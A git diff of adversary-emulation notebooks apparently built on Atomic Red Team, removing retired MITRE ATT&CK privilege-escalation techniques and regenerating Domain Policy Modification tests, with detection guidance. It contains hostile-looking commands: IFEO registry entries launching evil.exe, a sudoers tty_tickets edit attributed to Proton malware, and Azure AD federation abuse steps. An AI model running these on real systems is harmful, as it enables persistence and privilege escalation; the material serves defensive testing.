SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).\n\nAdversaries may use this mechanism for privilege escalation. With Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [Windows Admin Shares](https://attack.mitre.org/techniques/T1077), or [Windows Remote Management](https://attack.mitre.org/techniques/T1028)." - }, - { - "cell_type": "markdown", - "id": "63c74c8a", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "731ed201", - "metadata": {}, - "source": "## Detection\nExamine data in user\u2019s SID-History attributes using the PowerShell Get-ADUser Cmdlet (Citation: Microsoft Get-ADUser), especially users who have SID-History values from the same domain. (Citation: AdSecurity SID History Sept 2015)\n\nMonitor Account Management events on Domain Controllers for successful and failed changes to SID-History. (Citation: AdSecurity SID History Sept 2015) (Citation: Microsoft DsAddSidHistory)\n\nMonitor Windows API calls to the DsAddSidHistory function. (Citation: Microsoft DsAddSidHistory)" - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/privilege-escalation/T1179.ipynb b/playbook/tactics/privilege-escalation/T1179.ipynb deleted file mode 100644 index 0874613a..00000000 --- a/playbook/tactics/privilege-escalation/T1179.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "27b8c10c", - "metadata": {}, - "source": "# T1179 - Hooking\nWindows processes often leverage application programming interface (API) functions to perform tasks that require reusable system resources. Windows API functions are typically stored in dynamic-link libraries (DLLs) as exported functions. \n\nHooking involves redirecting calls to these functions and can be implemented via:\n\n* **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs. (Citation: Microsoft Hook Overview) (Citation: Elastic Process Injection July 2017)\n* **Import address table (IAT) hooking**, which use modifications to a process\u2019s IAT, where pointers to imported API functions are stored. (Citation: Elastic Process Injection July 2017) (Citation: Adlice Software IAT Hooks Oct 2014) (Citation: MWRInfoSecurity Dynamic Hooking 2015)\n* **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow. (Citation: Elastic Process Injection July 2017) (Citation: HighTech Bridge Inline Hooking Sept 2011) (Citation: MWRInfoSecurity Dynamic Hooking 2015)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), adversaries may use hooking to load and execute malicious code within the context of another process, masking the execution while also allowing access to the process's memory and possibly elevated privileges. Installing hooking mechanisms may also provide Persistence via continuous invocation when the functions are called through normal use.\n\nMalicious hooking mechanisms may also capture API calls that include parameters that reveal user authentication credentials for Credential Access. (Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017)\n\nHooking is commonly utilized by [Rootkit](https://attack.mitre.org/techniques/T1014)s to conceal files, processes, Registry keys, and other objects in order to hide malware and associated behaviors. (Citation: Symantec Windows Rootkits)" - }, - { - "cell_type": "markdown", - "id": "c8e7ca17", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "84be2c28", - "metadata": {}, - "source": "## Detection\nMonitor for calls to the SetWindowsHookEx and SetWinEventHook functions, which install a hook procedure. (Citation: Microsoft Hook Overview) (Citation: Volatility Detecting Hooks Sept 2012) Also consider analyzing hook chains (which hold pointers to hook procedures for each type of hook) using tools (Citation: Volatility Detecting Hooks Sept 2012) (Citation: PreKageo Winhook Jul 2011) (Citation: Jay GetHooks Sept 2011) or by programmatically examining internal kernel structures. (Citation: Zairon Hooking Dec 2006) (Citation: EyeofRa Detecting Hooking June 2017)\n\nRootkits detectors (Citation: GMER Rootkits) can also be used to monitor for various flavors of hooking activity.\n\nVerify integrity of live processes by comparing code in memory to that of corresponding static binaries, specifically checking for jumps and other instructions that redirect code flow. Also consider taking snapshots of newly started processes (Citation: Microsoft Process Snapshot) to compare the in-memory IAT to the real addresses of the referenced functions. (Citation: StackExchange Hooks Jul 2012) (Citation: Adlice Software IAT Hooks Oct 2014)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/privilege-escalation/T1181.ipynb b/playbook/tactics/privilege-escalation/T1181.ipynb deleted file mode 100644 index b576753b..00000000 --- a/playbook/tactics/privilege-escalation/T1181.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "0cf31b83", - "metadata": {}, - "source": "# T1181 - Extra Window Memory Injection\nBefore creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data). (Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of extra window memory (EWM) to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)\n\nAlthough small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process\u2019s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process\u2019s EWM.\n\nExecution granted through EWM injection may take place in the address space of a separate live process. Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), this may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread. (Citation: Elastic Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)" - }, - { - "cell_type": "markdown", - "id": "6ad0e6c8", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "622965ad", - "metadata": {}, - "source": "## Detection\nMonitor for API calls related to enumerating and manipulating EWM such as GetWindowLong (Citation: Microsoft GetWindowLong function) and SetWindowLong (Citation: Microsoft SetWindowLong function). Malware associated with this technique have also used SendNotifyMessage (Citation: Microsoft SendNotifyMessage function) to trigger the associated window procedure and eventual malicious injection. (Citation: Elastic Process Injection July 2017)" - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/privilege-escalation/T1182.ipynb b/playbook/tactics/privilege-escalation/T1182.ipynb deleted file mode 100644 index e141a39d..00000000 --- a/playbook/tactics/privilege-escalation/T1182.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "25521cc1", - "metadata": {}, - "source": "# T1182 - AppCert DLLs\nDynamic-link libraries (DLLs) that are specified in the AppCertDLLs Registry key under HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager are loaded into every process that calls the ubiquitously used application programming interface (API) functions CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW, CreateProcessWithTokenW, or WinExec. (Citation: Elastic Process Injection July 2017)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer." - }, - { - "cell_type": "markdown", - "id": "f53ac7fb", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "c9b8a05a", - "metadata": {}, - "source": "## Detection\nMonitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Monitor the AppCertDLLs Registry value for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017) \n\nTools such as Sysinternals Autoruns may overlook AppCert DLLs as an auto-starting location. (Citation: TechNet Autoruns) (Citation: Sysinternals AppCertDlls Oct 2007)\n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/privilege-escalation/T1183.ipynb b/playbook/tactics/privilege-escalation/T1183.ipynb deleted file mode 100644 index e920d325..00000000 --- a/playbook/tactics/privilege-escalation/T1183.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "a874ab94", - "metadata": {}, - "source": "# T1183 - Image File Execution Options Injection\nImage File Execution Options (IFEO) enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application\u2019s IFEO will be prepended to the application\u2019s name, effectively launching the new process under the debugger (e.g., \u201cC:\\dbg\\ntsd.exe -g notepad.exe\u201d). (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as Debugger values in the Registry under HKLM\\SOFTWARE{\\Wow6432Node}\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\ where is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IEFO and silent process exit Registry values in HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)\n\nAn example where the evil.exe process is started when notepad.exe exits: (Citation: Oddvar Moe IFEO APR 2018)\n\n* reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\notepad.exe\" /v GlobalFlag /t REG_DWORD /d 512\n* reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\notepad.exe\" /v ReportingMode /t REG_DWORD /d 1\n* reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\notepad.exe\" /v MonitorProcess /d \"C:\\temp\\evil.exe\"\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may be abused to obtain persistence and privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Elastic Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous invocation.\n\nMalware may also use IFEO for Defense Evasion by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)" - }, - { - "cell_type": "markdown", - "id": "892c8ee2", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "5f66e2a6", - "metadata": {}, - "source": "## Detection\nMonitor for common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as DEBUG_PROCESS and DEBUG_ONLY_THIS_PROCESS. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nMonitor Registry values associated with IFEOs, as well as silent process exit monitoring, for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017)" - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/privilege-escalation/T1206.ipynb b/playbook/tactics/privilege-escalation/T1206.ipynb deleted file mode 100644 index b0a83841..00000000 --- a/playbook/tactics/privilege-escalation/T1206.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "1bcfe340", - "metadata": {}, - "source": "# T1206 - Sudo Caching\nThe sudo command \"allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments.\" (Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a timestamp_timeout that is the amount of time in minutes between instances of sudo before it will re-prompt for a password. This is because sudo has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at /var/db/sudo with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a tty_tickets variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).\n\nAdversaries can abuse poor configurations of this to escalate privileges without needing the user's password. /var/db/sudo's timestamp can be monitored to see if it falls within the timestamp_timeout range. If it does, then malware can execute sudo commands without needing to supply the user's password. When tty_tickets is disabled, adversaries can do this from any tty for that user. \n\nThe OSX Proton Malware has disabled tty_tickets to potentially make scripting easier by issuing echo \\'Defaults !tty_tickets\\' >> /etc/sudoers (Citation: cybereason osx proton). In order for this change to be reflected, the Proton malware also must issue killall Terminal. As of macOS Sierra, the sudoers file has tty_tickets enabled by default." - }, - { - "cell_type": "markdown", - "id": "9bdc102f", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "bc2815ac", - "metadata": {}, - "source": "## Detection\nThis technique is abusing normal functionality in macOS and Linux systems, but sudo has the ability to log all input and output based on the LOG_INPUT and LOG_OUTPUT directives in the /etc/sudoers file." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/privilege-escalation/T1484.001.ipynb b/playbook/tactics/privilege-escalation/T1484.001.ipynb index 641d453c..73825bd1 100644 --- a/playbook/tactics/privilege-escalation/T1484.001.ipynb +++ b/playbook/tactics/privilege-escalation/T1484.001.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "f8438d9d", + "id": "59f60a33", "metadata": {}, - "source": "# T1484.001 - Group Policy Modification\nAdversaries may modify Group Policy Objects (GPOs) to subvert the intended discretionary access controls for a domain, usually with the intention of escalating privileges on the domain. Group policy allows for centralized management of user and computer settings in Active Directory (AD). GPOs are containers for group policy settings made up of files stored within a predicable network path \\\\<DOMAIN>\\SYSVOL\\<DOMAIN>\\Policies\\.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016) \n\nLike other objects in AD, GPOs have access controls associated with them. By default all user accounts in the domain have permission to read GPOs. It is possible to delegate GPO access control permissions, e.g. write access, to specific users or groups in the domain.\n\nMalicious GPO modifications can be used to implement many other malicious behaviors such as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001), [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105), [Create Account](https://attack.mitre.org/techniques/T1136), [Service Execution](https://attack.mitre.org/techniques/T1569/002), and more.(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions)(Citation: Mandiant M Trends 2016)(Citation: Microsoft Hacking Team Breach) Since GPOs can control so many user and machine settings in the AD environment, there are a great number of potential attacks that can stem from this GPO abuse.(Citation: Wald0 Guide to GPOs)\n\nFor example, publicly available scripts such as New-GPOImmediateTask can be leveraged to automate the creation of a malicious [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) by modifying GPO settings, in this case modifying <GPO_PATH>\\Machine\\Preferences\\ScheduledTasks\\ScheduledTasks.xml.(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) In some cases an adversary might modify specific user rights like SeEnableDelegationPrivilege, set in <GPO_PATH>\\MACHINE\\Microsoft\\Windows NT\\SecEdit\\GptTmpl.inf, to achieve a subtle AD backdoor with complete control of the domain because the user account under the adversary's control would then be able to modify GPOs.(Citation: Harmj0y SeEnableDelegationPrivilege Right)" + "source": "# T1484.001 - Group Policy Modification\nAdversaries may modify Group Policy Objects (GPOs) to subvert the intended discretionary access controls for a domain, usually with the intention of escalating privileges on the domain. Group policy allows for centralized management of user and computer settings in Active Directory (AD). GPOs are containers for group policy settings made up of files stored within a predictable network path `\\\\SYSVOL\\\\Policies\\`.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016) \n\nLike other objects in AD, GPOs have access controls associated with them. By default all user accounts in the domain have permission to read GPOs. It is possible to delegate GPO access control permissions, e.g. write access, to specific users or groups in the domain.\n\nMalicious GPO modifications can be used to implement many other malicious behaviors such as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001), [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105), [Create Account](https://attack.mitre.org/techniques/T1136), [Service Execution](https://attack.mitre.org/techniques/T1569/002), and more.(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions)(Citation: Mandiant M Trends 2016)(Citation: Microsoft Hacking Team Breach) Since GPOs can control so many user and machine settings in the AD environment, there are a great number of potential attacks that can stem from this GPO abuse.(Citation: Wald0 Guide to GPOs)\n\nFor example, publicly available scripts such as New-GPOImmediateTask can be leveraged to automate the creation of a malicious [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) by modifying GPO settings, in this case modifying <GPO_PATH>\\Machine\\Preferences\\ScheduledTasks\\ScheduledTasks.xml.(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) In some cases an adversary might modify specific user rights like SeEnableDelegationPrivilege, set in <GPO_PATH>\\MACHINE\\Microsoft\\Windows NT\\SecEdit\\GptTmpl.inf, to achieve a subtle AD backdoor with complete control of the domain because the user account under the adversary's control would then be able to modify GPOs.(Citation: Harmj0y SeEnableDelegationPrivilege Right)" }, { "cell_type": "markdown", - "id": "f77bd495", + "id": "d471b0a2", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "865b560e", + "id": "58c6d99a", "metadata": {}, "source": [ "### Atomic Test #1 - LockBit Black - Modify Group policy settings -cmd", @@ -28,28 +28,28 @@ { "cell_type": "code", "execution_count": null, - "id": "02319678", + "id": "0914b541", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1484.001 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "5e3906ff", + "id": "9a7f78d8", "metadata": {}, "source": "#### Cleanup: \n```cmd\nreg delete \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" /v GroupPolicyRefreshTimeDC /f >nul 2>&1\nreg delete \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" /v GroupPolicyRefreshTimeOffsetDC /f >nul 2>&1\nreg delete \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" /v GroupPolicyRefreshTime /f >nul 2>&1\nreg delete \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" /v GroupPolicyRefreshTimeOffset /f >nul 2>&1\nreg delete \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" /v EnableSmartScreen /f >nul 2>&1\nreg delete \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" /v ShellSmartScreenLevel /f >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "0b572d7c", + "id": "83f25409", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1484.001 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "6fb76c57", + "id": "bcbee539", "metadata": {}, "source": [ "### Atomic Test #2 - LockBit Black - Modify Group policy settings -Powershell", @@ -63,28 +63,28 @@ { "cell_type": "code", "execution_count": null, - "id": "8fd0270b", + "id": "3e81c745", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1484.001 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "89064e0c", + "id": "a1084fa0", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" -Name GroupPolicyRefreshTimeDC -Force -ErrorAction Ignore\nRemove-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" -Name GroupPolicyRefreshTimeOffsetDC -Force -ErrorAction Ignore \nRemove-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" -Name GroupPolicyRefreshTime -Force -ErrorAction Ignore\nRemove-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" -Name GroupPolicyRefreshTimeOffset -Force -ErrorAction Ignore\nRemove-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" -Name EnableSmartScreen -Force -ErrorAction Ignore\nRemove-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" -Name ShellSmartScreenLevel -Force -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "fc0b31cf", + "id": "e51f4645", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1484.001 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "337292ef", + "id": "ee45eb40", "metadata": {}, "source": "## Detection\nIt is possible to detect GPO modifications by monitoring directory service changes using Windows event logs. Several events may be logged for such GPO modifications, including:\n\n* Event ID 5136 - A directory service object was modified\n* Event ID 5137 - A directory service object was created\n* Event ID 5138 - A directory service object was undeleted\n* Event ID 5139 - A directory service object was moved\n* Event ID 5141 - A directory service object was deleted\n\n\nGPO abuse will often be accompanied by some other behavior such as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), which will have events associated with it to detect. Subsequent permission value modifications, like those to SeEnableDelegationPrivilege, can also be searched for in events associated with privileges assigned to new logons (Event ID 4672) and assignment of user rights (Event ID 4704)." } @@ -92,13 +92,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1484.002.ipynb b/playbook/tactics/privilege-escalation/T1484.002.ipynb index b0c52808..84cd7aff 100644 --- a/playbook/tactics/privilege-escalation/T1484.002.ipynb +++ b/playbook/tactics/privilege-escalation/T1484.002.ipynb @@ -2,33 +2,33 @@ "cells": [ { "cell_type": "markdown", - "id": "3498ce9d", + "id": "809ab97d", "metadata": {}, "source": "# T1484.002 - Domain Trust Modification\nAdversaries may add new domain trusts or modify the properties of existing domain trusts to evade defenses and/or elevate privileges. Domain trust details, such as whether or not a domain is federated, allow authentication and authorization properties to apply between domains for the purpose of accessing shared resources.(Citation: Microsoft - Azure AD Federation) These trust objects may include accounts, credentials, and other authentication material applied to servers, tokens, and domains.\n\nManipulating the domain trusts may allow an adversary to escalate privileges and/or evade defenses by modifying settings to add objects which they control. For example, this may be used to forge [SAML Tokens](https://attack.mitre.org/techniques/T1606/002), without the need to compromise the signing certificate to forge new credentials. Instead, an adversary can manipulate domain trusts to add their own signing certificate. An adversary may also convert a domain to a federated domain, which may enable malicious trust modifications such as altering the claim issuance rules to log in any valid set of credentials as a specified user.(Citation: AADInternals zure AD Federated Domain) " }, { "cell_type": "markdown", - "id": "5b246985", + "id": "297e14ad", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "8e5ca838", + "id": "fa02cc1c", "metadata": {}, "source": "### Atomic Test #1 - Add Federation to Azure AD\nAdd a new federated domain to Azure AD using PowerShell.\nThe malicious domain to be federated must be configured beforehand (outside of the scope of this test):\n 1. Open Azure Portal\n 2. Add a new \"custom domain name\"\n 3. Verify the domain by following instructions (i.e. create the requested DNS record)\n\n**Supported Platforms:** azure-ad\n#### Dependencies: Run with `powershell`!\n##### Description: AzureAD and AADInternals Powershell modules must be installed.\n\n##### Check Prereq Commands:\n```powershell\nif ((Get-Module -ListAvailable -Name AzureAD) -And (Get-Module -ListAvailable -Name AADInternals)) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInstall-Module -Name AzureAD -Force\nInstall-Module -Name AADInternals -Force\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "69926da2", + "id": "b88a9794", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1484.002 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "c3d084e2", + "id": "271dcf23", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -38,28 +38,28 @@ { "cell_type": "code", "execution_count": null, - "id": "030e994a", + "id": "212a401f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1484.002 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "bf5acf3e", + "id": "3b9fd729", "metadata": {}, "source": "#### Cleanup: \n```powershell\ntry {\n Import-Module AzureAD -ErrorAction Ignore\n\n $PWord = ConvertTo-SecureString -String \"iamthebatman\" -AsPlainText -Force\n $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"bruce.wayne@contosocloud.com\", $Pword\n Connect-AzureAD -Credential $Credential -ErrorAction Ignore > $null\n\n Remove-AzureADDomain -Name \"contoso.com\" -ErrorAction Ignore\n} catch {}\n```" }, { "cell_type": "code", "execution_count": null, - "id": "06a62f32", + "id": "87f28c12", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1484.002 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "bca7a960", + "id": "2ab7d639", "metadata": {}, "source": "## Detection\nMonitor for modifications to domain trust settings, such as when a user or application modifies the federation settings on the domain or updates domain authentication from Managed to Federated via ActionTypes Set federation settings on domain and Set domain authentication.(Citation: Microsoft - Azure Sentinel ADFSDomainTrustMods) This may also include monitoring for Event ID 307 which can be correlated to relevant Event ID 510 with the same Instance ID for change details.(Citation: Sygnia Golden SAML)(Citation: CISA SolarWinds Cloud Detection)\n\nMonitor for PowerShell commands such as: Update-MSOLFederatedDomain \u2013DomainName: \"Federated Domain Name\", or Update-MSOLFederatedDomain \u2013DomainName: \"Federated Domain Name\" \u2013supportmultipledomain.(Citation: Microsoft - Update or Repair Federated domain)" } @@ -67,13 +67,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1484.ipynb b/playbook/tactics/privilege-escalation/T1484.ipynb index 792984bc..9f8b139f 100644 --- a/playbook/tactics/privilege-escalation/T1484.ipynb +++ b/playbook/tactics/privilege-escalation/T1484.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "e39d7fb5", + "id": "d876f571", "metadata": {}, "source": "# T1484 - Domain Policy Modification\nAdversaries may modify the configuration settings of a domain to evade defenses and/or escalate privileges in domain environments. Domains provide a centralized means of managing how computer resources (ex: computers, user accounts) can act, and interact with each other, on a network. The policy of the domain also includes configuration settings that may apply between domains in a multi-domain/forest environment. Modifications to domain settings may include altering domain Group Policy Objects (GPOs) or changing trust settings for domains, including federation trusts.\n\nWith sufficient permissions, adversaries can modify domain policy settings. Since domain configuration settings control many of the interactions within the Active Directory (AD) environment, there are a great number of potential attacks that can stem from this abuse. Examples of such abuse include modifying GPOs to push a malicious [Scheduled Task](https://attack.mitre.org/techniques/T1053/005) to computers throughout the domain environment(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) or modifying domain trusts to include an adversary controlled domain where they can control access tokens that will subsequently be accepted by victim domain resources.(Citation: 